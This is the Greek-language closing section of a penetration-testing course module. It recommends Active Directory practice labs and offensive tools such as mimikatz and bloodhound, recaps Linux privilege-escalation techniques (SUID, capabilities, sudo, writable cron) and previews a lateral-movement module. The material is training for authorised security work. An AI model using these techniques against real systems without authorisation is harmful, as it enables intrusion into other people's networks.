Η αναπαραγωγή ενός domain Active Directory στο Docker απαιτεί δύο έως τρία containers (samba-ad-dc, LDAP, Kerberos), κοινόχρηστη ρύθμιση DNS, και μόνιμη αποθήκευση. Το αποτέλεσμα δεν είναι πιστό σε ένα AD Microsoft — το Samba AD είναι καλό υποκατάστατο για το Kerberos αλλά όχι για τις λεπτομέρειες του LSASS ή του ADCS.
Για πρακτική:
- GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD. Vagrant + VirtualBox, στήνει ένα domain
sevenkingdoms.localμε πολλές ευάλωτες μηχανές. Το lab αναφοράς στη γαλλόφωνη κοινότητα. - HackTheBox Prolabs Dante, Offshore, Zephyr: καθοδηγούμενες διαδρομές Active Directory, μερικές δεκάδες δολάρια αλλά πολύ διδακτικές.
- TryHackMe — δωρεάν ενότητες AD για εξοικείωση με τα εργαλεία (impacket, bloodhound, mimikatz).
Το επόμενο εργαστήριο (ενότητα 10 — Πλευρικές μετακινήσεις) καλύπτει το pivot σε Docker, το οποίο είναι το τεχνικό προαπαιτούμενο της πλευρικής μετακίνησης σε AD.
Τι παίρνετε από αυτό το εργαστήριο
- Τρεις διαδρομές κλιμάκωσης πραγματικά εκμεταλλευμένες, όχι τέσσερις γραμμές linpeas φωτογραφημένες.
- Ένα ακριβές λεξιλόγιο: SUID,
cap_setuid,sudo -l, GTFOBins, cron writable, επιθετική capability. - Μια αναφορά τριών έως πέντε σελίδων παρουσιάσιμη σε πελάτη, με περίληψη, πίνακα, κάρτες και γενικές συστάσεις.
- Την ικανότητα να επαναλάβετε αυτή τη δουλειά μόνοι σας, σε τρεις ώρες, σε οποιαδήποτε μελλοντική αποστολή — ανεξάρτητα από τους παρόντες φορείς.
Επόμενο βήμα: το κουίζ. Στη συνέχεια η ενότητα 10 — Πλευρική μετακίνηση. Μόλις γίνετε root σε μια μηχανή, πώς παραβιάζετε τις άλλες είκοσι στο εσωτερικό δίκτυο.